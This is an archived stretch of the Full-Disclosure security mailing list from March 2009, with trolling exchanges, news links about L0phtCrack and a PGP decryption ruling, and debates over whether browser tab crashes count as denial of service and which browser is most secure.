>> >>
>> >> Where?
>> >>
>> >> - -bm
>> >>
>> >> On Tue, 03 Mar 2009 17:54:51 -0500 Jason Starks
>> >> <jstarks440 at gmail.com> wrote:
>> >> >Mr. Mustache,
>> >> >
>> >> >There is a missing "s" on the end of my last name.
>> >> >
>> >> >Yours truly,
>> >> >
>> >> >Jason "Bench Press" Starks
>> >> >
>> >> >On Tue, Mar 3, 2009 at 5:45 PM, <bobby.mugabe at hushmail.com>
>wrote:
>> >> >
>> >> >> -----BEGIN PGP SIGNED MESSAGE-----
>> >> >> Hash: SHA1
>> >> >>
>> >> >> Mr. Stark,
>> >> >>
>> >> >> Adhering to the tradition of my fathers, I do not sport
>any
>> >> >facial
>> >> >> hair and take offense to your comment, and since you're
>> >> >obviously
>> >> >> lacking basic observational skills I highly doubt you're
>even as
>> >> >> talented as my Cadburys, at anything.
>> >> >>
>> >> >> - -bm
>> >> >>
>> >> >> On Tue, 03 Mar 2009 11:11:35 -0500 Jason Starks
>> >> >> <jstarks440 at gmail.com> wrote:
>> >> >> >Mr. Mustache, it is obvious that I have more talent than
>a box
>> >> >of
>> >> >> >chocolates, and that you envy the sadistic nature of your
>> >> >fellow
>> >> >> >trolls on
>> >> >> >this list. Point blank.
>> >> >> >
>> >> >> >On Tue, Mar 3, 2009 at 6:18 AM,
><bobby.mugabe at hushmail.com>
>> >> >wrote:
>> >> >> >
>> >> >> >> -----BEGIN PGP SIGNED MESSAGE-----
>> >> >> >> Hash: SHA1
>> >> >> >>
>> >> >> >> Dear Valdis,
>> >> >> >>
>> >> >> >> I have been able to reproduce a similar situation using
>> >> >Firefox
>> >> >> >> under MacOSX, using different websites and a
>significantly
>> >> >> >larger
>> >> >> >> number of tabs.  Do you think these issues might be
>related
>> >> >or
>> >> >> >are
>> >> >> >> they operating system specific?  What model of CPU were
>you
>> >> >> >testing
>> >> >> >> this issue under?
>> >> >> >>
>> >> >> >> Thanks,
>> >> >> >> - -bm
>> >> >> >>
>> >> >> >> On Mon, 02 Mar 2009 23:41:53 -0500 Valdis' Mustache
>> >> >> >> <security.mustache at gmail.com> wrote:
>> >> >> >> >I would like to point out that I have been able to
>create a
>> >> >> >"hung"
>> >> >> >> >state in the Firefox browser by opening 30
>simultaneous tabs
>> >> >> >> >pointed
>> >> >> >> >at http://www.welcometointernet.org/lawnmower/ and
>adding a
>> >> >> >31st
>> >> >> >> >tab
>> >> >> >> >viewing http://www.hotrussianbrides.com.
>> >> >> >> >
>> >> >> >> >Also, I am not amused.
>> >> >> >> >
>> >> >> >> >
>> >> >> >> >Your humble servant,
>> >> >> >> >Ze Mustache von Kletnieks
>> >> >> >> >
>> >> >> >> >On Mon, Mar 2, 2009 at 10:29 PM,
>> >> ><bobby.mugabe at hushmail.com>
>> >> >> >> >wrote:
>> >> >> >> >> -----BEGIN PGP SIGNED MESSAGE-----
>> >> >> >> >> Hash: SHA1
>> >> >> >> >>
>> >> >> >> >> Dear Nick,
>> >> >> >> >>
>> >> >> >> >> You and Thierry Loller are wrong.
>> >> >> >> >>
>> >> >> >> >> - -bm
>> >> >> >> >>
>> >> >> >> >> On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald
>> >> >> ><nick at virus-
>> >> >> >> >> l.demon.co.uk> wrote:
>> >> >> >> >>>Chris Evans to Thierry Zoller:
>> >> >> >> >>>
>> >> >> >> >>>> > Example
>> >> >> >> >>>> > If a chrome tab can be crashed arbritarely
>(remotely)
>> >> >it
>> >> >> >is
>> >> >> >> >a
>> >> >> >> >>>DoS attack
>> >> >> >> >>>> > but with ridiculy low impact to the end-user as
>it
>> >> >only
>> >> >> >> >>>crashes the tab
>> >> >> >> >>>> > it was subjected to, and not the whole browser
>or
>> >> >> >operation
>> >> >> >> >>>system.
>> >> >> >> >>>> > But the fact remains that this was the impact of
>a DoS
>> >> >> >> >>>condition,
>> >> >> >> >>>> > the tab crashes arbritarily.
>> >> >> >> >>>>
>> >> >> >> >>>> Eh? If you visit www.evil.com and your tab
>crashes,
>> >> >that's
>> >> >> >no
>> >> >> >> >>>> different from www.evil.com closing its own tab
>with
>> >> >> >> >Javascript.
>> >> >> >> >>>
>> >> >> >> >>>But what if www.evil.com has run an injection attack
>of
>> >> >some
>> >> >> >> >kind
>> >> >> >> >>>(SQL,
>> >> >> >> >>>XSS in blog comments, etc, etc) against
>www.stupid.com?
>> >> >> >> >>>
>> >> >> >> >>>Visitors to stupid.com then suffer a DoS...
>> >> >> >> >>>
>> >> >> >> >>>Yes, stupid.com should run their site better, fix
>their
>> >> >> >myriad
>> >> >> >> >XSS
>> >> >> >> >>>holes,
>> >> >> >> >>>etc, etc.
>> >> >> >> >>>
>> >> >> >> >>>But this is the Internet, so this "software flaw"
>can be
>> >> >> >> >leveraged
>> >> >> >> >>>as
>> >> >> >> >>>security vulnerability.
>> >> >> >> >>>
>> >> >> >> >>>I'm with Thierry on this...
>> >> >> >> >>>
>> >> >> >> >>>
>> >> >> >> >>>Regards,
>> >> >> >> >>>
>> >> >> >> >>>Nick FitzGerald
>> >> >> >> >>>
>> >> >> >> >>>
>> >> >> >> >>>_______________________________________________
>> >> >> >> >>>Full-Disclosure - We believe in it.
>> >> >> >> >>>Charter: http://lists.grok.org.uk/full-disclosure-
>> >> >> >charter.html
>> >> >> >> >>>Hosted and sponsored by Secunia -
>http://secunia.com/
>> >> >> >> >> -----BEGIN PGP SIGNATURE-----
>> >> >> >> >> Charset: UTF8
>> >> >> >> >> Version: Hush 3.0
>> >> >> >> >> Note: This signature can be verified at
>> >> >> >> >https://www.hushtools.com/verify
>> >> >> >> >>
>> >> >> >> >>
>> >> >> >>
>> >> >>
>> >>
>>>>wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qv
>h
>> >> >8
>> >> >> >+
>> >> >> >> >0
>> >> >> >> >>
>> >> >> >>
>> >> >>
>> >>
>>>>b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53f
>x
>> >> >X
>> >> >> >F
>> >> >> >> >m
>> >> >> >> >>
>> >> >> >>
>> >> >>
>> >>
>>>>7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5
>e
>> >> >A
>> >> >> >h
>> >> >> >> >p
>> >> >> >> >> UpXIZ1s=
>> >> >> >> >> =zgqd
>> >> >> >> >> -----END PGP SIGNATURE-----
>> >> >> >> >>
>> >> >> >> >> --
>> >> >> >> >> Become a medical transcriptionist at home, at your
>own
>> >> >pace.
>> >> >> >> >>
>> >> >> >>
>> >> >>
>> >>
>>>>http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWaf
>c
>> >> >7
>> >> >> >c
>> >> >> >> >DXj4iASDyccuLtQA2i9f1le/
>> >> >> >> >>
>> >> >> >> >> _______________________________________________
>> >> >> >> >> Full-Disclosure - We believe in it.
>> >> >> >> >> Charter: http://lists.grok.org.uk/full-disclosure-
>> >> >> >charter.html
>> >> >> >> >> Hosted and sponsored by Secunia -
>http://secunia.com/
>> >> >> >> >>
>> >> >> >> >
>> >> >> >> >_______________________________________________
>> >> >> >> >Full-Disclosure - We believe in it.
>> >> >> >> >Charter: http://lists.grok.org.uk/full-disclosure-
>> >> >charter.html
>> >> >> >> >Hosted and sponsored by Secunia - http://secunia.com/
>> >> >> >> -----BEGIN PGP SIGNATURE-----
>> >> >> >> Charset: UTF8
>> >> >> >> Version: Hush 3.0
>> >> >> >> Note: This signature can be verified at
>> >> >> >https://www.hushtools.com/verify
>> >> >> >>
>> >> >> >>
>> >> >>
>> >>
>>>wpwEAQMCAAYFAkmtEaMACgkQhNp8gzZx3shZFwQAjiE2W/WUkNHrLIu1lBRz6oeDV
>r
>> >> >k
>> >> >> >n
>> >> >> >>
>> >> >>
>> >>
>>>TmV8TCcaDpsvkRmhNrKFXYObPEatdJ0po7Iul333mllga8+elMukkH15J7BwUZdGl
>N
>> >> >A
>> >> >> >5
>> >> >> >>
>> >> >>
>> >>
>>>wpE6zNx8ks6L9qS9UxklE8BErdTfUY/OF5FK4aZ92JcngL1xFTkZlDJS0lvIKGry3
>v
>> >> >j
>> >> >> >u
>> >> >> >> P7xAvvQ=
>> >> >> >> =avqi
>> >> >> >> -----END PGP SIGNATURE-----
>> >> >> >>
>> >> >> >> --
>> >> >> >> Click to find great rates on health insurance, save
>big, shop
>> >> >> >here.
>> >> >> >>
>> >> >> >>
>> >> >>
>> >>
>>>http://tagline.hushmail.com/fc/BLSrjkqeRcNd9NCXSJiZxV7gq821SXvgq2
>G
>> >> >W
>> >> >> >ai39WLJo4QlOxYCnjxaqn9u/
>> >> >> >>
>> >> >> >> _______________________________________________
>> >> >> >> Full-Disclosure - We believe in it.
>> >> >> >> Charter: http://lists.grok.org.uk/full-disclosure-
>> >> >charter.html
>> >> >> >> Hosted and sponsored by Secunia - http://secunia.com/
>> >> >> >>
>> >> >> -----BEGIN PGP SIGNATURE-----
>> >> >> Charset: UTF8
>> >> >> Version: Hush 3.0
>> >> >> Note: This signature can be verified at
>> >> >https://www.hushtools.com/verify
>> >> >>
>> >> >>
>> >>
>>wpwEAQMCAAYFAkmtsnoACgkQhNp8gzZx3sgiJwQAnL87haXBbGW80ORA4Ufa7Leh0J
>S
>> >> >g
>> >> >>
>> >>
>>XyPSdH32tRZUA+dJaRhoaWJt6HqaKAEltZgsqkrwsA6pTgIIx/IKYdRATBqsrdaBwr
>F
>> >> >M
>> >> >>
>> >>
>>kKhLez2kSeOcODLg1OOpGZ4EwQgZws/Qh1sMQOYjCpBF1W2/q+wvwV8Y8xn4V2MdK4
>C
>> >> >L
>> >> >> XTUWWLI=
>> >> >> =FOnb
>> >> >> -----END PGP SIGNATURE-----
>> >> >>
>> >> >> --
>> >> >> Become a medical transcriptionist at home, at your own
>pace.
>> >> >>
>> >> >>
>> >>
>>http://tagline.hushmail.com/fc/BLSrjkqfMmd367qFNEy5ii9ij3bU6df9tEP
>V
>> >> >YBzpFXa7E7s6QHH4MsdQbb6/
>> >> >>
>> >> >>
>> >> -----BEGIN PGP SIGNATURE-----
>> >> Charset: UTF8
>> >> Version: Hush 3.0
>> >> Note: This signature can be verified at
>> https://www.hushtools.com/verify
>> >>
>> >>
>wpwEAQMCAAYFAkmttPMACgkQhNp8gzZx3sjzEwP+LKS6V4qJiWSZckzKh/oS5VSCWKZ
>6
>> >>
>1bV6uhWvfZKflCc19WDP0qvX/39nXQnciHu77C5t2rc1Sz8puZ4uqW9jvc1vSLB6Ixh
>k
>> >>
>f9kJc/Xqy3jz2QgQn7ljkTlfLhiylI1Y4DSnl/VH7gQfMFLCzFaPY7MkX596quYacZu
>3
>> >> eJKIjEU=
>> >> =MEss
>> >> -----END PGP SIGNATURE-----
>> >>
>> >> --
>> >> Thinking of a life with religion?  Click here to find a
>religious school
>> >> near you.
>> >>
>> >>
>>
>http://tagline.hushmail.com/fc/BLSrjkqkOt23N64MfCBCDe7Ocvf3t1DcVFSD
>ppHSTZUDCQJQcaRhPY88GLe/
>> >>
>> >
>> >
>> > _______________________________________________
>> > Full-Disclosure - We believe in it.
>> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> > Hosted and sponsored by Secunia - http://secunia.com/
>> >
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 3.0

wpwEAQMCAAYFAkmtvaIACgkQhNp8gzZx3shw0gQApVAssgnlbEdbJuSI9LTuB2QxlTdi
w+XwGGqXs/UVV0+I7amQy7IpvYwEsVASgocRB0ajYUcWxvFFlA8wDa8+NO1GtI9T7Ufz
TXILSI6/vs4zEi3P72FBXlHt0E8+DoDRyPaydeHRndK3RoQJtCNqhRPilt3KKf6KFfNA
DSHVeME=
=2AOL
-----END PGP SIGNATURE-----

--
Hate your job?  Click here to start a rewarding career in Human Resources.
 http://tagline.hushmail.com/fc/BLSrjkqZyLjMaoo9Gx63xeRF8bFe7nk5XBng9tD7ERdeae30AhVBohJ2D4k/



From jstarks440 at gmail.com  Tue Mar  3 23:31:36 2009
From: jstarks440 at gmail.com (Jason Starks)
Date: Tue, 3 Mar 2009 18:31:36 -0500
Subject: [Full-disclosure] Jason Starks has invited you to open a Google
	mail account
Message-ID: <e1b25fd0903031531h3874f7a0i@mail.gmail.com>

I've been using Gmail and thought you might like to try it out. Here's
an invitation to create an account.

-----------------------------------------------------------------------

Jason Starks has invited you to open a free Gmail account.

To accept this invitation and register for your account, visit
http://mail.google.com/mail/a-76f552dd78-20b7d044cc-fd7096e558

Once you create your account, Jason Starks will be notified with
your new email address so you can stay in touch with Gmail!

If you haven't already heard about Gmail, it's a new search-based webmail
service that offers:

- Over 2,700 megabytes (two gigabytes) of free storage
- Built-in Google search that instantly finds any message you want
- Automatic arrangement of messages and related replies into
  "conversations"
- Powerful spam protection using innovative Google technology
- No large, annoying ads--just small text ads and related pages that are
  relevant to the content of your messages

To learn more about Gmail before registering, visit:
http://mail.google.com/mail/help/benefits.html

And, to see how easy it can be to switch to a new email service, check
out our new switch guide: http://mail.google.com/mail/help/switch/

We're still working every day to improve Gmail, so we might ask for your
comments and suggestions periodically.  We hope you'll like Gmail.  We
do.  And, it's only going to get better.

Thanks,

The Gmail Team

(If clicking the URLs in this message does not work, copy and paste them
into the address bar of your browser).



From ivanhec at gmail.com  Tue Mar  3 23:55:35 2009
From: ivanhec at gmail.com (Ivan .)
Date: Wed, 4 Mar 2009 10:55:35 +1100
Subject: [Full-disclosure] The return of L0phtCrack
Message-ID: <6450e99d0903031555u2dfc1c86v2a4c5c13aa4549ae@mail.gmail.com>

http://blogs.zdnet.com/security/?p=2737



From ivanhec at gmail.com  Tue Mar  3 23:50:32 2009
From: ivanhec at gmail.com (Ivan .)
Date: Wed, 4 Mar 2009 10:50:32 +1100
Subject: [Full-disclosure] Judge orders defendant to decrypt PGP-protected
	laptop
Message-ID: <6450e99d0903031550p2f22d6c2jfc0c49cb832c046e@mail.gmail.com>

A federal judge has ordered a criminal defendant to decrypt his hard
drive by typing in his PGP passphrase so prosecutors can view the
unencrypted files, a ruling that raises serious concerns about
self-incrimination in an electronic age.

http://news.cnet.com/8301-13578_3-10172866-38.html



From bobby.mugabe at hushmail.com  Tue Mar  3 23:59:07 2009
From: bobby.mugabe at hushmail.com (bobby.mugabe at hushmail.com)
Date: Tue, 03 Mar 2009 18:59:07 -0500
Subject: [Full-disclosure] The return of L0phtCrack
Message-ID: <20090303235908.41D7428042@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dear Ivan,

Professor Mudge and The Weld Pond have also promised the release of
a 64bit capable netcat with full rainbow table support in the near
future!!!  :)

- -bm

On Tue, 03 Mar 2009 18:55:35 -0500 "Ivan ." <ivanhec at gmail.com>
wrote:
>http://blogs.zdnet.com/security/?p=2737
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and sponsored by Secunia - http://secunia.com/
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Version: Hush 3.0
Note: This signature can be verified at https://www.hushtools.com/verify

wpwEAQMCAAYFAkmtw6wACgkQhNp8gzZx3sgiCAP/b4Ha7M3D4rSbAZW1FY5jvEXzpT+u
YldzqALY6Kf/VNUa4lmSDqRwZwzrUtINP6NgDG7VeS+HSyPmsn9l4j6vWn+O+C+5UMPJ
A/ZNX9jphw3ehFrubD6d0Xtchaasja3D6qMzsulyeVIJhOq7Cegf1zmIzRwe99LHP5rh
guNbHXI=
=vT63
-----END PGP SIGNATURE-----

--
Protect your investment. Click here to find the homeowner insurance policy that you need.
 http://tagline.hushmail.com/fc/BLSrjkqeRvK934QJ9Jq7SERQ4BWRtAyDSZuLAac7L20WsMX9EUoF6F3C0rG/



From burningcows at gmail.com  Wed Mar  4 00:02:30 2009
From: burningcows at gmail.com (Stuart Dunkeld)
Date: Wed, 4 Mar 2009 00:02:30 +0000
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <49AE6D4A.5209.C93259E3@nick.virus-l.demon.co.uk>
References: <1695017750.20090227143622@Zoller.lu>
	<49ADB672.24232.C6681B5F@nick.virus-l.demon.co.uk>
	<72daeffd0903031237q36b8ffbree48ec283681ec64@mail.gmail.com>
	<49AE6D4A.5209.C93259E3@nick.virus-l.demon.co.uk>
Message-ID: <ae1c8e460903031602o6942ed08v79df65ee45a7ec66@mail.gmail.com>

> Browsers could reasonably implement various kinds of resource expenditure
> limitations, but few, if any, do OOTB (FF 2.x I think added some basic
> "this script is taking too long" controls, but there is a lot more that
> could be done).

IE, Firefox, Safari and Chrome all have basic protection against
long-running scripts -
http://www.nczonline.net/blog/2009/01/05/what-determines-that-a-script-is-long-running/
has some information on each implementation.

What else would you have browser vendors do? I expect they think their
current strategy of responding to specific bugs along with a bit of
fuzzing and insane-input-testing is cost-effective and 'good enough'
for their users.

Regards

--stuart



From scarybeasts at gmail.com  Wed Mar  4 00:09:53 2009
From: scarybeasts at gmail.com (Chris Evans)
Date: Tue, 3 Mar 2009 16:09:53 -0800
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <49AE6D4A.5209.C93259E3@nick.virus-l.demon.co.uk>
References: <1695017750.20090227143622@Zoller.lu>
	<49ADB672.24232.C6681B5F@nick.virus-l.demon.co.uk>
	<72daeffd0903031237q36b8ffbree48ec283681ec64@mail.gmail.com>
	<49AE6D4A.5209.C93259E3@nick.virus-l.demon.co.uk>
Message-ID: <72daeffd0903031609t89fb8f8yddd9c44f3899514e@mail.gmail.com>

On Tue, Mar 3, 2009 at 3:00 PM, Nick FitzGerald
<nick at virus-l.demon.co.uk> wrote:
> Chris Evans to me:
>
>> By this definition of yours, DoS is fundamentally built in to browsers
>> (by way of simply following specifications) -- even those with decent
>> privsep models.
>
> Not necessarily...
>
> Factually, probably so but that says more about our s/w development
> methods and what has (historically) passed as "acceptable" in that arena.
>
> Browsers could reasonably implement various kinds of resource expenditure
> limitations, but few, if any, do OOTB (FF 2.x I think added some basic
> "this script is taking too long" controls, but there is a lot more that
> could be done).
>
> Is that specification antagonistic? ?Arguably yes because the
> specifications don't say "... to N levels of recursion" and such.
>
> But maybe that tells us an awful lot about the specifications and the
> culture of the folk who wrote them?
>
> Yep -- they came from that "she'll be right" s/w dev background that is
> responsible for most of the crap that means we're assured of jobs for
> life (well, if you're as old as me anyway!).
>
>> Web security IS fundamentally broken at the foundations, so I'm not
>> going to disagree with you.
>
> 8-)
>
>> It raises the question: DoS is an overloaded term, ...
>
> DoS is not an overloaded term -- it means pretty much what it says, as
> Thierry pointed out.
>
> Yes, a lot of noobs and journalists confuse it with _D_DoS and its usual,
> deliberate "with malicious intent" connotation, but that might just be an
> education problem...
>
>> ... perhaps it should
>> be reserved for cases that actually have real-world significance? Or
>> is a new term required?
>
> How do we operationally define "real-world significance"?
>
> That was my original point -- this is a DoS
>
> Whether it's "worthy" of discussion here or not is a different issue that
> touches precisely on the issue of defining "real-world significance".

Let me put it another way.
You have lame, lame tab crashing bugs being released and labelled as a
"DoS" we should all get excited about. Failure to shoot down this
behaviour will only lead to it propagating. I'd love to see a little
less idealism and a little more pragmatism.

Cheers
Chris

>
> There may be some subtle use for such a vuln that allows it to be
> combined with one or more other "minor" vulns to make for a modestly
> worrying attack, or there may not. ?Until that is found (probably by a
> Black Hat because White Hats are so quick to dismiss things like this
> with "it's only a trivial browser tab-closing DoS" and move on to sexier
> sounding bugs) this may be ignored because no-one deems it "worthy",
> extending the long, sad history of quality neglect in s/w development.
>
>
> Regards,
>
> Nick FitzGerald
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



From bobby.mugabe at hushmail.com  Wed Mar  4 00:31:35 2009
From: bobby.mugabe at hushmail.com (bobby.mugabe at hushmail.com)
Date: Tue, 03 Mar 2009 19:31:35 -0500
Subject: [Full-disclosure] Most secure internet exploration tool?
Message-ID: <20090304003136.6E1AA28042@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dear list,

Recently there have been many conversations regarding advanced
browser hacks (denial by crashing attacks, too many tab attacks,
code execution power hacks, etc).  I would like to start a
discussion, weighing in every expert opinion on what the most
secure web browser is and why.  Also whether or not the underlying
operating system matters - is firefox more secure under BeOS than
mosaic under IBM's dos?  How do these things compare?  Does anyone
have any charts and/or graphs for visual comparison on this topic
already that they would like to share?

Thanks,
- -bm
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 3.0

wpwEAQMCAAYFAkmty0kACgkQhNp8gzZx3siT9AP/dre+OCmuSzXs7XoQkrt5hFKKtO48
zy2xB1V4Z9jnbi+REHJaMdtB0jRqW8N0Yp7uWKinxO06j6xqvRpicL6pVoHstIlTYfj8
3om58z97QtOI4bXLnYiSduNaKMiCgz3rPimg++6eU5ydIXRcwdvJI6K3t4/W3WiJL7IR
HBgLhrs=
=e7QW
-----END PGP SIGNATURE-----

--
Click here to save cash and find low rates on auto loans.
 http://tagline.hushmail.com/fc/BLSrjkqhD12bI6Bf9LK33CMgRC8Aw6vjlUYbcX2frLTf6q5zzvJhAVnURtm/



From Valdis.Kletnieks at vt.edu  Wed Mar  4 00:56:24 2009
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Tue, 03 Mar 2009 19:56:24 -0500
Subject: [Full-disclosure] Most secure internet exploration tool?
In-Reply-To: Your message of "Tue, 03 Mar 2009 19:31:35 EST."
	<20090304003136.6E1AA28042@smtp.hushmail.com>
References: <20090304003136.6E1AA28042@smtp.hushmail.com>
Message-ID: <42855.1236128184@turing-police.cc.vt.edu>

On Tue, 03 Mar 2009 19:31:35 EST, bobby.mugabe at hushmail.com said:

> code execution power hacks, etc).  I would like to start a
> discussion, weighing in every expert opinion on what the most
> secure web browser is and why.

Does 'telnet www.example.com 80' or 'netcat' count as a browser?  Do
ascii-only things that only render static html count?  Does a mainstream
browser with javascript and/or plugins disabled count?

You then get to do a similar analysis defining "secure".  It isn't a binary
yes/no - it's a continuum of different issues and relative importance, and
different people may rank things in different orders.  Somebody who is
responsible for regulatory compliance probably cares more about data exposure
and identity theft issues - but a browser crash resulting in no data loss
isn't an issue.  Meanwhile, the guy who has to run the help desk cares
if an issue crashes browsers and generates phone calls (anybody who was working
in a NOC when Nachi came around knows how fast the costs of an outage can
pile up, even if no data is permanently lost).

Gotta draw a boundary box if you want reasonable answers.

>                                Also whether or not the underlying
> operating system matters - is firefox more secure under BeOS than
> mosaic under IBM's dos?

Again, you have to make a decision - if an exploit *did* manage to abuse
a browser's code, but was then foiled by an OS security feature (ACLs, ASLR,
SELinux, or whatever), does that count as "a secure browser", or "a secure OS"?
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090303/e37e83aa/attachment.bin 

From tbiehn at gmail.com  Wed Mar  4 03:33:09 2009
From: tbiehn at gmail.com (T Biehn)
Date: Tue, 3 Mar 2009 22:33:09 -0500
Subject: [Full-disclosure] Most secure internet exploration tool?
In-Reply-To: <42855.1236128184@turing-police.cc.vt.edu>
References: <20090304003136.6E1AA28042@smtp.hushmail.com>
	<42855.1236128184@turing-police.cc.vt.edu>
Message-ID: <2d6724810903031933s72aef5daua323e17a55082a13@mail.gmail.com>

Obviously Internet Explorer on Windows, because it's developed by good
paid developers, not long bearded unix nerds.

On Tue, Mar 3, 2009 at 7:56 PM,  <Valdis.Kletnieks at vt.edu> wrote:
> On Tue, 03 Mar 2009 19:31:35 EST, bobby.mugabe at hushmail.com said:
>
>> code execution power hacks, etc). ?I would like to start a
>> discussion, weighing in every expert opinion on what the most
>> secure web browser is and why.
>
> Does 'telnet www.example.com 80' or 'netcat' count as a browser? ?Do
> ascii-only things that only render static html count? ?Does a mainstream
> browser with javascript and/or plugins disabled count?
>
> You then get to do a similar analysis defining "secure". ?It isn't a binary
> yes/no - it's a continuum of different issues and relative importance, and
> different people may rank things in different orders. ?Somebody who is
> responsible for regulatory compliance probably cares more about data exposure
> and identity theft issues - but a browser crash resulting in no data loss
> isn't an issue. ?Meanwhile, the guy who has to run the help desk cares
> if an issue crashes browsers and generates phone calls (anybody who was working
> in a NOC when Nachi came around knows how fast the costs of an outage can
> pile up, even if no data is permanently lost).
>
> Gotta draw a boundary box if you want reasonable answers.
>
>> ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?Also whether or not the underlying
>> operating system matters - is firefox more secure under BeOS than
>> mosaic under IBM's dos?
>
> Again, you have to make a decision - if an exploit *did* manage to abuse
> a browser's code, but was then foiled by an OS security feature (ACLs, ASLR,
> SELinux, or whatever), does that count as "a secure browser", or "a secure OS"?
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



From smenard at nbnet.nb.ca  Wed Mar  4 03:06:41 2009
From: smenard at nbnet.nb.ca (Stephen Menard)
Date: Tue, 03 Mar 2009 23:06:41 -0400
Subject: [Full-disclosure] Most secure internet exploration tool?
In-Reply-To: <42855.1236128184@turing-police.cc.vt.edu>
References: <20090304003136.6E1AA28042@smtp.hushmail.com>
	<42855.1236128184@turing-police.cc.vt.edu>
Message-ID: <49ADF041.6060701@nbnet.nb.ca>

Nice Valdis

My cell phone provider asked me if I rebooted my blackberry
because there was an antenna SOS
on the display

talk about denial of service
with 9 missed calls

phuk

steve
yes i pay my bills






Valdis.Kletnieks at vt.edu wrote:
> On Tue, 03 Mar 2009 19:31:35 EST, bobby.mugabe at hushmail.com said:
>
>   
>> code execution power hacks, etc).  I would like to start a
>> discussion, weighing in every expert opinion on what the most
>> secure web browser is and why.
>>     
>
> Does 'telnet www.example.com 80' or 'netcat' count as a browser?  Do
> ascii-only things that only render static html count?  Does a mainstream
> browser with javascript and/or plugins disabled count?
>
> You then get to do a similar analysis defining "secure".  It isn't a binary
> yes/no - it's a continuum of different issues and relative importance, and
> different people may rank things in different orders.  Somebody who is
> responsible for regulatory compliance probably cares more about data exposure
> and identity theft issues - but a browser crash resulting in no data loss
> isn't an issue.  Meanwhile, the guy who has to run the help desk cares
> if an issue crashes browsers and generates phone calls (anybody who was working
> in a NOC when Nachi came around knows how fast the costs of an outage can
> pile up, even if no data is permanently lost).
>
> Gotta draw a boundary box if you want reasonable answers.
>
>   
>>                                Also whether or not the underlying
>> operating system matters - is firefox more secure under BeOS than
>> mosaic under IBM's dos?
>>     
>
> Again, you have to make a decision - if an exploit *did* manage to abuse
> a browser's code, but was then foiled by an OS security feature (ACLs, ASLR,
> SELinux, or whatever), does that count as "a secure browser", or "a secure OS"?
>   
> ------------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090303/84dc024d/attachment.html 

From Valdis.Kletnieks at vt.edu  Wed Mar  4 04:10:43 2009
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Tue, 03 Mar 2009 23:10:43 -0500
Subject: [Full-disclosure] Most secure internet exploration tool?
In-Reply-To: Your message of "Tue, 03 Mar 2009 22:33:09 EST."
	<2d6724810903031933s72aef5daua323e17a55082a13@mail.gmail.com>
References: <20090304003136.6E1AA28042@smtp.hushmail.com>
	<42855.1236128184@turing-police.cc.vt.edu>
	<2d6724810903031933s72aef5daua323e17a55082a13@mail.gmail.com>
Message-ID: <51188.1236139843@turing-police.cc.vt.edu>

On Tue, 03 Mar 2009 22:33:09 EST, T Biehn said:
> Obviously Internet Explorer on Windows, because it's developed by good
> paid developers, not long bearded unix nerds.

I'm going to assume that there's a language issue here, and that you don't
realize the different semantics of "well-paid developers" and "good, paid
developers".
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090303/36c6d2b6/attachment.bin 

From tbiehn at gmail.com  Wed Mar  4 04:42:27 2009
From: tbiehn at gmail.com (T Biehn)
Date: Tue, 3 Mar 2009 23:42:27 -0500
Subject: [Full-disclosure] Most secure internet exploration tool?
In-Reply-To: <51188.1236139843@turing-police.cc.vt.edu>
References: <20090304003136.6E1AA28042@smtp.hushmail.com>
	<42855.1236128184@turing-police.cc.vt.edu>
	<2d6724810903031933s72aef5daua323e17a55082a13@mail.gmail.com>
	<51188.1236139843@turing-police.cc.vt.edu>
Message-ID: <2d6724810903032042m5680527dwbf1bbc6b8bd6238e@mail.gmail.com>

Hint: It only makes sense one way.
Also
OP & My post were obvious trolls
Well done, enjoy the kool aide.

On Tue, Mar 3, 2009 at 11:10 PM,  <Valdis.Kletnieks at vt.edu> wrote:
> On Tue, 03 Mar 2009 22:33:09 EST, T Biehn said:
>> Obviously Internet Explorer on Windows, because it's developed by good
>> paid developers, not long bearded unix nerds.
>
> I'm going to assume that there's a language issue here, and that you don't
> realize the different semantics of "well-paid developers" and "good, paid
> developers".
>



